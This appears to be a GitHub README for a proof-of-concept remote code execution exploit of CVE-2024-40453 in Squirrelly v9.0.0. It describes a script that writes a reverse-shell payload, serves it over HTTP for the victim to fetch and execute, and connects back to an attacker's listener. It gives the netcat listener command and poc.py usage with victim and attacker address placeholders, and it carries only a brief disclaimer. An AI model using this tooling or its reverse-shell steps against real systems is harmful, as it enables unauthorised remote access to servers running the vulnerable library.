bwithe/cve-2024-40453CVE-2024-40453 - Squirrelly v9.0.0 RCE. Poc
This script is for educational use only.
Do not use it for illegal purposes.
If you do, it’s entirely your responsibility; I am not liable for any misuse.
This script creates a reverse shell called payload.sh in the current directory.
Then it hosts an http server on port 80 for the victim to pull the payload.sh from.
A listener needs to be started on the attackers machine.
The http server shutdowns after 3 seconds to allow the victim to pull and execute the payload.sh
Based on the following information, this POC was developed. https://samuzora.com/posts/cve-2024-40453
Start your listener
rlwrap nc -nvlp 3000
Execute the payload
# python3 poc.py -rhost <VICTIM_IP> -rport <VICTIM_PORT> -lhost <ATTACKER_IP> -lport <ATTACKER_LISTENER_PORT>
python3 poc.py -rhost 172.16.0.2 -rport 3000 -lhost 172.16.0.1 -lport 3000
